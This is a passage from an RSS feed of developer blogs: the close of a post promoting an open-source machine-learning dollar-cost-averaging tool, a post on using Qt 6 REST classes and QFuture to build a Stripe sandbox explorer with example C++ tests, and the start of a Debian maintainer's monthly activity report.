</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The goal of any robust investment strategy is to <strong>remove emotion from the equation.</strong> DCAi achieves this by adding a layer of algorithmic intelligence to the proven discipline of Dollar Cost Averaging. Whether you are stacking Sats or accumulating ETFs, having a machine learning model tell you when to be aggressive and when to sit on your hands is the ultimate portfolio upgrade.</p>



<p class="wp-block-paragraph"><strong>Next Step:</strong> Download the code, run your own backtests, and see how much lower your average entry price could be!</p>



<p class="wp-block-paragraph"><strong>Join the Community:</strong></p>



<p class="wp-block-paragraph">Did you find settings that work perfectly for a specific asset? Share your results in our GitHub Discussions:</p>



<ul class="wp-block-list">
<li><a href="https://github.com/cerebrux/DCAi/discussions">https://github.com/cerebrux/DCAi/discussions</a></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"><em>Disclaimer: Investments involve risk. DCAi is a technical analysis tool, not financial advice or a guarantee of profit. Always conduct your own due diligence.</em></p>
<p>The post <a href="https://utappia.org/2026/02/13/smart-dca-strategy-machine-learning-dcai/">Smart DCA Strategy &#8211; Meet DCAi That Times the Dip The Open Source Machine Learning</a> appeared first on <a href="https://utappia.org">Utappia</a>.</p>]]></description>
      <source url="http://utappia.org/feed/">Salih Emin</source>
    </item>
    <item>
      <title>REST API Development with Qt 6</title>
      <link>https://steveire.wordpress.com/2026/01/14/rest-api-development-with-qt-6/</link>
      <guid isPermaLink="true">https://steveire.wordpress.com/2026/01/14/rest-api-development-with-qt-6/</guid>
      <pubDate>Wed, 14 Jan 2026 11:58:06 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">This post describes an experiment using Qt 6.7’s REST APIs to explore Stripe’s payment model, and what I learned building a small desktop developer tool.</p>



<p class="wp-block-paragraph">Recent Qt releases have included <a href="https://www.qt.io/blog/restful-client-applications-in-qt-6.7-and-forward">several conveniences</a> for developing clients of remote REST APIs. I recently tried it out with the <a href="https://docs.stripe.com/api">Stripe payments REST API</a> to get to grips with the Qt REST API in the real world. The overloading of the term <em>API</em> is unhelpful, I find, but hopefully not too confusing here.</p>



<p class="wp-block-paragraph">As with almost <a href="https://steveire.wordpress.com/2019/04/30/the-future-of-ast-matching-refactoring-tools-eurollvm-and-accu/">everything I try out</a>, I created Qt desktop tooling as a developer aid to exploring the Stripe API and its behavior. Naming things is hard, but given that I want to put a &#8220;Q&#8221; in the name, googling &#8220;cute stripes&#8221; gives lots of hits about fashion, and the other too-obvious-to-say pun, I&#8217;ve pushed it to GitHub as &#8220;<a href="https://github.com/steveire/qashmere">Qashmere</a>&#8220;:</p>



<figure class="wp-block-image size-large"><a href="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere.png"><img width="988" height="870" data-attachment-id="1761" data-permalink="https://steveire.wordpress.com/2026/01/14/rest-api-development-with-qt-6/qashmere/" data-orig-file="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere.png" data-orig-size="988,870" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="qashmere" data-image-description="" data-image-caption="" data-large-file="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere.png?w=450" src="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere.png?w=988" alt="" class="wp-image-1761" srcset="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere.png 988w, https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere.png?w=150 150w, https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere.png?w=300 300w, https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere.png?w=768 768w" sizes="(max-width: 988px) 100vw, 988px" /></a></figure>



<h2 class="wp-block-heading">setAlternatingRowColors(true);</h2>



<p class="wp-block-paragraph">Developers using REST APIs will generally be familiar with existing tooling such as Postman and Bruno, for synthesizing calls to collections of REST APIs. Indeed, Qashmere uses the Stripe Postman JSON definition to present the collection of APIs and parameters. Such tools have scripting interfaces and state to create workflows that a client of the REST API needs to support, like &#8220;create a payment, get the id of the payment back from the REST API and then cancel the payment with the id&#8221;, or &#8220;create a payment, get the id of the payment back from the REST API and then confirm it by id with a given credit card&#8221;. </p>



<p class="wp-block-paragraph">So why create Qashmere? In addition to REST APIs, Stripe maintains objects which change state over time. The objects remain at REST until acted on by an external force, and when such an action happens a notification is sent to clients about those state changes, giving them a chance to react. I wanted to be able to collect the REST requests/responses and the notified events and present them as they relate to the Stripe objects. Postman doesn&#8217;t know about events or about Stripe objects in particular, except that it is possible to write a script in Postman to extract the object which is part of a JSON payload. Postman also doesn&#8217;t know that if a Payment Intent is created, there are a subset of next steps which could be in a workflow, such as cancel, capture or confirm payment etc.</p>



<p class="wp-block-paragraph">Something that I discovered in the course of trying this out is that when I confirm a Payment Intent, a new Charge object is created and sent to me with the event notification system. Experimental experiences like that help build intuition.</p>



<figure class="wp-block-image size-large"><a href="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_2.png"><img width="870" height="814" data-attachment-id="1763" data-permalink="https://steveire.wordpress.com/2026/01/14/rest-api-development-with-qt-6/qashmere_2/" data-orig-file="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_2.png" data-orig-size="870,814" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="qashmere_2" data-image-description="" data-image-caption="" data-large-file="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_2.png?w=450" src="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_2.png?w=870" alt="" class="wp-image-1763" srcset="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_2.png 870w, https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_2.png?w=150 150w, https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_2.png?w=300 300w, https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_2.png?w=768 768w" sizes="(max-width: 870px) 100vw, 870px" /></a></figure>



<p class="wp-block-paragraph">Stripe operates with real money, but it also provides for sandboxes where synthetic payments, customers etc can be created and processed with synthetic payment methods and cards. As Qashmere is only useful as a developer tool or learning aid, it only works with Stripe sandboxes.</p>



<p class="wp-block-paragraph">Events from Stripe are sent to pre-configured web servers owned by the client. The web servers need to have a public IP address, which is obviously not appropriate for a desktop application. A WebSocket API would be more suitable and indeed the stripe cli tool uses a WebSocket to receive events, but the WebSocket protocol is not documented or stable. Luckily the stripe cli tool can be used to relay events to another HTTP server, so Qashmere runs a <a href="https://doc.qt.io/qt-6/qhttpserver.html"><code>QHttpServer</code></a> for that purpose.</p>



<figure class="wp-block-image size-large"><a href="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_architecture-1.png"><img width="1024" height="483" data-attachment-id="1754" data-permalink="https://steveire.wordpress.com/2026/01/14/rest-api-development-with-qt-6/qashmere_architecture-2/" data-orig-file="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_architecture-1.png" data-orig-size="1379,651" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="qashmere_architecture" data-image-description="" data-image-caption="" data-large-file="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_architecture-1.png?w=450" src="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_architecture-1.png?w=1024" alt="" class="wp-image-1754" srcset="https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_architecture-1.png?w=1024 1024w, https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_architecture-1.png?w=150 150w, https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_architecture-1.png?w=300 300w, https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_architecture-1.png?w=768 768w, https://steveire.wordpress.com/wp-content/uploads/2026/01/qashmere_architecture-1.png 1379w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<h2 class="wp-block-heading">Implementation with Qt REST API</h2>



<p class="wp-block-paragraph">The <a href="https://doc.qt.io/qt-6/qrestreply.html"><code>QRestReply</code></a> wraps a <code>QNetworkReply</code> pointer and provides convenience API for accessing the HTTP return code and for creating a <a href="https://doc.qt.io/qt-6/qjsondocument.html"><code>QJsonDocument</code></a> from the body of the response. It must be created manually if using <code>QNetworkAccessManager</code> directly. However the new <a href="https://doc.qt.io/qt-6/qrestaccessmanager.html"><code>QRestAccessManager</code></a> wraps a <code>QNetworkAccessManager</code> pointer, again to provide convenience APIs and overloads for making requests that are needed in REST APIs (though some less common verbs like <code>OPTIONS</code> and <code>TRACE</code> are not built-in). The <code>QRestAccessManager</code> has conveniences like overloads that provide a way to supply callbacks which already take the <code>QRestReply</code> wrapper object as a parameter. If using a <code>QJsonDocument</code> request overload, the &#8220;<code>application/json</code>&#8221; <code>Content-Type</code> is automatically set in the header.</p>



<p class="wp-block-paragraph">One of the inconveniences of <code>QRestAccessManager</code> is that in Qashmere I use an external definition of the REST API from the Postman definition which includes the HTTP method. Because the <code>QRestAccessManager</code> provides strongly typed API for making requests I need to do something like:</p>


<div class="wp-block-code">
	<div class="cm-editor">
		<div class="cm-scroller">
			
<pre>
<code><div class="cm-line">if (method == &quot;POST&quot;) {</div><div class="cm-line">    rest.post(request, requestData, this, replyHandler);</div><div class="cm-line">} else if (method == &quot;GET&quot;) {</div><div class="cm-line">    rest.get(request, this, replyHandler);</div><div class="cm-line">} else if (method == &quot;DELETE&quot;) {</div><div class="cm-line">    rest.deleteResource(request, this, replyHandler);</div><div class="cm-line">}</div></code></pre>
		</div>
	</div>
</div>


<p class="wp-block-paragraph">There is a <code>sendCustomRequest</code> class API which can be used with a string, but it does not have an overload for <code>QJsonDocument</code>, so the convenience of having the <code>Content-Type</code> header set is lost. This may be an oversight in the <code>QRestAccessManager</code> API.</p>



<p class="wp-block-paragraph">Another missing feature is URL parameter interpolation. Many REST APIs are described as something like <code>/v1/object/:object_id/cancel</code>, and it would be convenient to have a safe way to interpolate the parameters into the URL, such as:</p>


<div class="wp-block-code">
	<div class="cm-editor">
		<div class="cm-scroller">
			
<pre>
<code><div class="cm-line">QUrl result = QRestAccessManager::interpolatePathParameters(</div><div class="cm-line">    &quot;/v1/accounts/:account_id/object/:object_id/cancel&quot;, {</div><div class="cm-line">        {&quot;account_id&quot;, &quot;acc_1234&quot;},</div><div class="cm-line">        {&quot;object_id&quot;, &quot;obj_5678&quot;}</div><div class="cm-line">    }</div><div class="cm-line">);</div></code></pre>
		</div>
	</div>
</div>


<p class="wp-block-paragraph">This is needed to avoid bugs such as a user-supplied parameter containing a slash for example.</p>



<h2 class="wp-block-heading">Coding Con Currency</h2>



<p class="wp-block-paragraph">In recent years I&#8217;ve been writing and reading more Typescript/Angular code which consumes REST services, and less C++. I&#8217;ve enjoyed the way <code>Promise</code>s work in that environment, allowing sequences of REST requests, for example, to be easy to write and read. A test of a pseudo API could <code>await</code> on requests to complete and invoke the next one with something like:</p>


<div class="wp-block-code">
	<div class="cm-editor">
		<div class="cm-scroller">
			
<pre>
<code><div class="cm-line">requestFactory.setBaseURL(&quot;http://some_service.com&quot;);</div><div class="cm-line"></div><div class="cm-line">async testWorkflow(username: string, password: string) {</div><div class="cm-line"></div><div class="cm-line">    const loginRequest = requestFactory.makeRequest(&quot;/login&quot;);</div><div class="cm-line">    const loginRequestData = new Map();</div><div class="cm-line">    loginRequestData.setParam(&quot;username&quot;, username);</div><div class="cm-line">    loginRequestData.setParam(&quot;password&quot;, password);</div><div class="cm-line">    const loginResponse = await requestAPI.post(</div><div class="cm-line">        loginRequest, loginRequestData);</div><div class="cm-line"></div><div class="cm-line">    const bearerToken = loginResponse.getData();</div><div class="cm-line">    requestAPI.setBearerToken(bearerToken);</div><div class="cm-line"></div><div class="cm-line">    const listingRequest = requestFactory.makeRequest(&quot;/list_items&quot;);</div><div class="cm-line">    const listingResponse = await requestAPI.get(listingRequest);</div><div class="cm-line"></div><div class="cm-line">    const listing = JSON.parse(listingResponse.getData());</div><div class="cm-line"></div><div class="cm-line">    const firstItemRequest = requestFactory.makeRequest(</div><div class="cm-line">        &quot;/retrieve_item/:item_id&quot;, </div><div class="cm-line">        {</div><div class="cm-line">            item_id: listing[0].item_id</div><div class="cm-line">        }</div><div class="cm-line">    );</div><div class="cm-line"></div><div class="cm-line">    const firstItem = await requestAPI.get(firstItemRequest);</div><div class="cm-line">}</div></code></pre>
		</div>
	</div>
</div>


<p class="wp-block-paragraph">The availability of <code>async</code> functions and the <code>Promise</code> to await on make a test like this quite easy to write, and the in-application use of the API uses the same <code>Promise</code>s, so there is little friction between application code and test code.</p>



<p class="wp-block-paragraph">I wanted to see if I can recreate something like that based on the Qt networking APIs. I briefly tried using C++20 coroutines because they would allow a style closer to <code>async</code>/<code>await</code>, but the integration friction with existing Qt types was higher than I wanted for an experiment.</p>



<p class="wp-block-paragraph">Using the methods in <code>QtFuture</code> however, we already have a way to create objects representing the response from a REST API. The result is similar to the Typescript example, but with different ergonomics, using <code>.then</code> instead of the <code>async</code> and <code>await</code> keywords.</p>


<div class="wp-block-code">
	<div class="cm-editor">
		<div class="cm-scroller">
			
<pre>
<code><div class="cm-line">struct RestRequest</div><div class="cm-line">{</div><div class="cm-line">    QString method;</div><div class="cm-line">    QString requestUrl;</div><div class="cm-line">    QHttpHeaders headers;</div><div class="cm-line">    QHash&lt;QString, QString&gt; urlParams;</div><div class="cm-line">    QUrlQuery queryParams;</div><div class="cm-line">    std::variant&lt;QUrlQuery, QJsonDocument&gt; requestData;</div><div class="cm-line">};</div><div class="cm-line"></div><div class="cm-line">struct RestResponse</div><div class="cm-line">{</div><div class="cm-line">    QJsonDocument jsonDoc;</div><div class="cm-line">    QHttpHeaders headers;</div><div class="cm-line">    QNetworkReply::NetworkError error;</div><div class="cm-line">    QUrl url;</div><div class="cm-line">    int statusCode;</div><div class="cm-line">};</div><div class="cm-line"></div><div class="cm-line">QFuture&lt;RestResponse&gt; makeRequest(RestRequest restRequest)</div><div class="cm-line">{</div><div class="cm-line">    auto url = interpolatePathParameters(</div><div class="cm-line">        restRequest.requestUrl, </div><div class="cm-line">        restRequest.urlParams);</div><div class="cm-line"></div><div class="cm-line">    auto request = requestFactory.createRequest(url);</div><div class="cm-line"></div><div class="cm-line">    auto requestBodyDoc = extractRequestContent(restRequest.requestData);</div><div class="cm-line"></div><div class="cm-line">    auto requestBody = requestBodyDoc.toJson(QJsonDocument::Compact);</div><div class="cm-line"></div><div class="cm-line">    auto reply = qRestManager.sendCustomRequest(request,</div><div class="cm-line">                                                restRequest.method.toUtf8(),</div><div class="cm-line">                                                requestBody,</div><div class="cm-line">                                                &amp;qnam,</div><div class="cm-line">                                                [](QRestReply &amp;) {});</div><div class="cm-line"></div><div class="cm-line">    return QtFuture::connect(reply, &amp;QNetworkReply::finished).then(</div><div class="cm-line">        [reply]() {</div><div class="cm-line">            QRestReply restReply(reply);</div><div class="cm-line">    </div><div class="cm-line">            auto responseDoc = restReply.readJson();</div><div class="cm-line">            if (!responseDoc) {</div><div class="cm-line">                throw std::runtime_error(&quot;Failed to read response&quot;);</div><div class="cm-line">            }</div><div class="cm-line">    </div><div class="cm-line">            RestResponse response;</div><div class="cm-line">            response.jsonDoc = *responseDoc;</div><div class="cm-line">            response.statusCode = restReply.httpStatus();</div><div class="cm-line">            response.error = restReply.error();</div><div class="cm-line">            response.headers = reply-&gt;headers();</div><div class="cm-line">            response.url = reply-&gt;url();</div><div class="cm-line">    </div><div class="cm-line">            return response;</div><div class="cm-line">        }</div><div class="cm-line">    );</div><div class="cm-line">}</div></code></pre>
		</div>
	</div>
</div>


<p class="wp-block-paragraph">The <code>QRestAccessManager</code> API requires the creation of a dummy response function when creating a custom request because it is not really designed to be used this way. The result is an API accepting a request and returning a <code>QFuture</code> with the <code>QJsonDocument</code> content. While it is possible for a REST endpoint to return something else, we can follow the Qt philosophy of making the most expected case as easy as possible, while leaving most of the rest possible another way. This utility makes writing unit tests relatively straightforward too:<br></p>


<div class="wp-block-code">
	<div class="cm-editor">
		<div class="cm-scroller">
			
<pre>
<code><div class="cm-line">RemoteAPI remoteApi;</div><div class="cm-line"></div><div class="cm-line">remoteApi.setBaseUrl(QUrl(&quot;https://dog.ceo&quot;));</div><div class="cm-line"></div><div class="cm-line">auto responseFuture = remoteApi.makeRequest(</div><div class="cm-line">    {&quot;GET&quot;,</div><div class="cm-line">     &quot;api/breed/:breed/:sub_breed/images/random&quot;,</div><div class="cm-line">     {},</div><div class="cm-line">     {</div><div class="cm-line">         {&quot;breed&quot;, &quot;wolfhound&quot;}, </div><div class="cm-line">         {&quot;sub_breed&quot;, &quot;irish&quot;}</div><div class="cm-line">     }});</div><div class="cm-line"></div><div class="cm-line">QFutureWatcher&lt;RestResponse&gt; watcher;</div><div class="cm-line"></div><div class="cm-line">QSignalSpy spy(&amp;watcher, &amp;QFutureWatcherBase::finished);</div><div class="cm-line"></div><div class="cm-line">watcher.setFuture(responseFuture);</div><div class="cm-line"></div><div class="cm-line">QVERIFY(spy.wait(10000));</div><div class="cm-line"></div><div class="cm-line">auto jsonObject = responseFuture.result().jsonDoc.object();</div><div class="cm-line"></div><div class="cm-line">QCOMPARE(jsonObject[&quot;status&quot;], &quot;success&quot;);</div><div class="cm-line"></div><div class="cm-line">QRegularExpression regex(</div><div class="cm-line">    R&quot;(https://images\.dog\.ceo/breeds/wolfhound-irish/[^.]+.jpg)&quot;);</div><div class="cm-line"></div><div class="cm-line">QVERIFY(regex.match(jsonObject[&quot;message&quot;].toString()).hasMatch());</div></code></pre>
		</div>
	</div>
</div>


<p class="wp-block-paragraph">The result is quite similar to the Typescript above, but only because we can use <code>spy.wait</code>. In application code, we still need to use <code>.then</code> with a callback, but we can additionally use <code>.onFailed</code> and <code>.onCanceled</code> instead of making multiple signal/slot connections. </p>



<p class="wp-block-paragraph">With the addition of <code>QtFuture::whenAll</code>, it is easy to make multiple REST requests at once and react when they are all finished, so perhaps something else has been gained too, compared to a signal/slot model:</p>


<div class="wp-block-code">
	<div class="cm-editor">
		<div class="cm-scroller">
			
<pre>
<code><div class="cm-line">RemoteAPI remoteApi;</div><div class="cm-line"></div><div class="cm-line">remoteApi.setBaseUrl(QUrl(&quot;https://dog.ceo&quot;));</div><div class="cm-line"></div><div class="cm-line">auto responseFuture = remoteApi.requestMultiple({</div><div class="cm-line">    {</div><div class="cm-line">        &quot;GET&quot;,</div><div class="cm-line">        &quot;api/breeds/list/all&quot;,</div><div class="cm-line">    },</div><div class="cm-line"></div><div class="cm-line">    {&quot;GET&quot;,</div><div class="cm-line">     &quot;api/breed/:breed/:sub_breed/images/random&quot;,</div><div class="cm-line">     {},</div><div class="cm-line">     {{&quot;breed&quot;, &quot;german&quot;}, {&quot;sub_breed&quot;, &quot;shepherd&quot;}}},</div><div class="cm-line"></div><div class="cm-line">    {&quot;GET&quot;,</div><div class="cm-line">     &quot;api/breed/:breed/:sub_breed/images/random/:num_results&quot;,</div><div class="cm-line">     {},</div><div class="cm-line">     {{&quot;breed&quot;, &quot;wolfhound&quot;}, </div><div class="cm-line">     {&quot;sub_breed&quot;, &quot;irish&quot;}, </div><div class="cm-line">     {&quot;num_results&quot;, &quot;3&quot;}}},</div><div class="cm-line"></div><div class="cm-line">    {&quot;GET&quot;, &quot;api/breed/:breed/list&quot;, {}, {{&quot;breed&quot;, &quot;hound&quot;}}},</div><div class="cm-line">});</div><div class="cm-line"></div><div class="cm-line">QFutureWatcher&lt;QList&lt;RestResponse&gt;&gt; watcher;</div><div class="cm-line"></div><div class="cm-line">QSignalSpy spy(&amp;watcher, &amp;QFutureWatcherBase::finished);</div><div class="cm-line"></div><div class="cm-line">watcher.setFuture(responseFuture);</div><div class="cm-line"></div><div class="cm-line">QVERIFY(spy.wait(10000));</div><div class="cm-line"></div><div class="cm-line">auto four_responses = responseFuture.result();</div><div class="cm-line"></div><div class="cm-line">QCOMPARE(four_responses.size(), 4);</div><div class="cm-line"></div><div class="cm-line">QCOMPARE(four_responses[0].jsonDoc.object()[&quot;status&quot;], &quot;success&quot;);</div><div class="cm-line">QVERIFY(four_responses[0].jsonDoc.object()[&quot;message&quot;].</div><div class="cm-line">    toObject()[&quot;greyhound&quot;].isArray());</div><div class="cm-line"></div><div class="cm-line">QRegularExpression germanShepherdRegex(</div><div class="cm-line">    R&quot;(https://images.dog.ceo/breeds/german-shepherd/[^.]+.jpg)&quot;);</div><div class="cm-line"></div><div class="cm-line">QCOMPARE(four_responses[1].jsonDoc.object()[&quot;status&quot;], &quot;success&quot;);</div><div class="cm-line">QVERIFY(germanShepherdRegex.match(</div><div class="cm-line">    four_responses[1].jsonDoc.object()[&quot;message&quot;].toString()).hasMatch());</div><div class="cm-line"></div><div class="cm-line">QRegularExpression irishWolfhoundRegex(</div><div class="cm-line">    R&quot;(https://images.dog.ceo/breeds/wolfhound-irish/[^.]+.jpg)&quot;);</div><div class="cm-line"></div><div class="cm-line">QCOMPARE(four_responses[2].jsonDoc.object()[&quot;status&quot;], &quot;success&quot;);</div><div class="cm-line">auto irishWolfhoundList = </div><div class="cm-line">    four_responses[2].jsonDoc.object()[&quot;message&quot;].toArray();</div><div class="cm-line">QCOMPARE(irishWolfhoundList.size(), 3);</div><div class="cm-line"></div><div class="cm-line">QVERIFY(irishWolfhoundRegex.match(irishWolfhoundList[0].toString()).</div><div class="cm-line">    hasMatch());</div><div class="cm-line">QVERIFY(irishWolfhoundRegex.match(irishWolfhoundList[1].toString()).</div><div class="cm-line">    hasMatch());</div><div class="cm-line">QVERIFY(irishWolfhoundRegex.match(irishWolfhoundList[2].toString()).</div><div class="cm-line">    hasMatch());</div><div class="cm-line"></div><div class="cm-line">QCOMPARE(four_responses[3].jsonDoc.object()[&quot;status&quot;], &quot;success&quot;);</div><div class="cm-line">auto houndList = four_responses[3].jsonDoc.object()[&quot;message&quot;].toArray();</div><div class="cm-line">QCOMPARE_GE(houndList.size(), 7);</div><div class="cm-line">QVERIFY(houndList.contains(&quot;afghan&quot;));</div><div class="cm-line">QVERIFY(houndList.contains(&quot;basset&quot;));</div><div class="cm-line">QVERIFY(houndList.contains(&quot;blood&quot;));</div><div class="cm-line">QVERIFY(houndList.contains(&quot;english&quot;));</div><div class="cm-line">QVERIFY(houndList.contains(&quot;ibizan&quot;));</div><div class="cm-line">QVERIFY(houndList.contains(&quot;plott&quot;));</div><div class="cm-line">QVERIFY(houndList.contains(&quot;walker&quot;));</div></code></pre>
		</div>
	</div>
</div>


<h2 class="wp-block-heading">setAutoDeleteReplies(false);</h2>



<p class="wp-block-paragraph">I attempted to use new API additions in recent Qt 6 versions to interact with a few real-world REST services. The additions are valuable, but it seems that there are a few places where improvements might be possible. My attempt to make the API feel closer to what developers in other environments might be accustomed to had some success, but I&#8217;m not sure <code>QFuture</code> is really intended to be used this way.<br>Do readers have any feedback? Would using QCoro improve the coroutine experience? Is it very unusual to create an application with QWidgets instead of QML these days? Should I have used PyQt and the python networking APIs?</p>]]></description>
      <source url="https://steveire.wordpress.com/feed/?mrss=off">Stephen Kelly</source>
    </item>
    <item>
      <title>Free software activity in November 2025</title>
      <link>https://www.chiark.greenend.org.uk/~cjwatson/blog/activity-2025-11.html</link>
      <guid isPermaLink="true">https://www.chiark.greenend.org.uk/~cjwatson/blog/activity-2025-11.html</guid>
      <pubDate>Thu, 04 Dec 2025 17:55:59 GMT</pubDate>
      <description><![CDATA[<p>My Debian contributions this month were all
<a href="https://www.freexian.com/about/debian-contributions/">sponsored</a> by
Freexian.  I had a bit less time than usual, because Freexian collaborators
gathered in Marseille this month for our yearly sprint, doing some planning
for next&nbsp;year.</p>
<p>You can also support my work directly via
<a href="https://liberapay.com/cjwatson">Liberapay</a> or <a href="https://github.com/sponsors/cjwatson">GitHub
Sponsors</a>.</p>
<h2>OpenSSH</h2>
<p>I began preparing for the second stage of the <a href="https://lists.debian.org/debian-devel/2024/04/msg00044.html"><span class="caps">GSS</span>-<span class="caps">API</span> key exchange package
split</a> (some
details have changed since that message).  It seems that we&#8217;ll need to wait
until Ubuntu 26.04 <span class="caps">LTS</span> has been released, but that&#8217;s close enough that it&#8217;s
worth making sure we&#8217;re ready.  This month I just did some packaging
cleanups that would otherwise have been annoying to copy, such as removing
support for direct upgrades from pre-bookworm.  I&#8217;m considering some other
package rearrangements to make the split easier to manage, but haven&#8217;t made
any decisions here&nbsp;yet.</p>
<p>This also led me to start on a long-overdue bug triage pass, mainly
consisting of applying usertags to lots of our open bugs to sort them by
which program they apply to, and also closing a few that have been fixed,
since some bugs will eventually need to be reassigned to <span class="caps">GSS</span>-<span class="caps">API</span> packages
and it would be helpful to make them easier to find.  At the time of
writing, about 30% of the bug list remains to be categorized this&nbsp;way.</p>
<h2>Python&nbsp;packaging</h2>
<p>I upgraded these packages to new upstream&nbsp;versions:</p>
<ul>
<li>aioftp</li>
<li>basemap (fixing <a href="https://bugs.debian.org/1119728">Cython 3.1
  compatibility</a>)</li>
<li>billiard</li>
<li>black</li>
<li>django-phonenumber-field</li>
<li>flask-security</li>
<li>flufl.i18n</li>
<li>langtable</li>
<li>mariadb-connector-python</li>
<li>peewee (fixing <a href="https://bugs.debian.org/1119757">Cython 3.1
  compatibility</a>)</li>
<li>pydantic</li>
<li>pydantic-core</li>
<li>pydantic-settings</li>
<li>pylsqpack</li>
<li>pymongo</li>
<li>pymssql</li>
<li>pyodbc</li>
<li>python-auditwheel (<a href="https://github.com/pypa/auditwheel/pull/640">contributed follow-up fix
  upstream</a>)</li>
<li>python-avro</li>
<li>python-bleach</li>
<li>python-btrees</li>
<li>python-certifi</li>
<li>python-charset-normalizer</li>
<li>python-colorlog</li>
<li>python-django-channels</li>
<li>python-django-constance</li>
<li>python-django-contact-form</li>
<li>python-django-hashids</li>
<li>python-djvulibre (fixing <a href="https://bugs.debian.org/1119766">Cython 3.1
  compatibility</a>)</li>
<li>python-evalidate</li>
<li>python-legacy-cgi</li>
<li>python-openstep-plist (fixing <a href="https://bugs.debian.org/1119767">Cython 3.1
  compatibility</a>)</li>
<li>python-pytest-run-parallel</li>
<li>python-pytokens</li>
<li>python-tblib</li>
<li>python-webargs</li>
<li>pyupgrade</li>
<li>sqlfluff</li>
<li>trove-classifiers</li>
<li>ttconv</li>
<li>wcwidth</li>
<li>zope.hookable</li>
<li>zope.i18nmessageid (removing <a href="https://bugs.debian.org/1084014">run-time dependency on
  setuptools</a>)</li>
<li>zope.interface</li>
<li>zope.proxy</li>
<li>zope.security (removing <a href="https://bugs.debian.org/1084018">run-time dependency on
  setuptools</a>)</li>
<li>zope.sqlalchemy</li>
</ul>
<p>I packaged <a href="https://bugs.debian.org/1120507">django-pgtransaction</a> and
backported it to trixie, since we plan to use it in Debusine; and I adopted
python-certifi for the Python&nbsp;team.</p>
<p>I fixed or helped to fix several other build/test&nbsp;failures:</p>
<ul>
<li><a href="https://bugs.debian.org/1119744">kivy</a></li>
<li><a href="https://bugs.debian.org/1120242">mypy</a></li>
<li><a href="https://bugs.debian.org/1114284">pytest-mypy-testing</a> (<a href="https://github.com/davidfritzsche/pytest-mypy-testing/pull/57">contributed
  upstream</a>)</li>
<li><a href="https://salsa.debian.org/python-team/packages/python-cytoolz/-/commit/52856c4c1d1bc9fab0241e4c1b0d20d75bdaa99a">python-cytoolz</a></li>
<li><a href="https://bugs.debian.org/1120725">python-discord</a></li>
<li><a href="https://bugs.debian.org/1120469">python-ncls</a>, fixing some failures in&nbsp;pyranges</li>
<li><a href="https://bugs.debian.org/1121095">pyxdg</a></li>
<li><a href="https://bugs.debian.org/1114415">traitlets</a></li>
<li><a href="https://bugs.debian.org/1120228">twine</a></li>
</ul>
<p>I fixed a couple of other&nbsp;bugs:</p>
<ul>
<li><a href="https://bugs.debian.org/1119801">pmix: B-D on python3-all-dev, but not built for all supported Python3&nbsp;versions</a></li>
<li><a href="https://bugs.debian.org/1064621">python-certifi: Package not compatible with&nbsp;multiarch</a></li>
</ul>
<h2>Other bits and&nbsp;pieces</h2>
<ul>
<li><a href="https://bugs.debian.org/1087524">cdebconf: Move to&nbsp;/usr/lib/apt/apt-extracttemplates</a></li>
<li><a href="https://salsa.debian.org/debian/devscripts/-/merge_requests/588">devscripts: Restore dpkg-dev&nbsp;dependency</a></li>
<li><a href="https://bugs.debian.org/1121577">groff: Missing information about some utilities in the &#8220;contrib&#8221;&nbsp;directory</a></li>
</ul>
<h2>Code&nbsp;reviews</h2>
<ul>
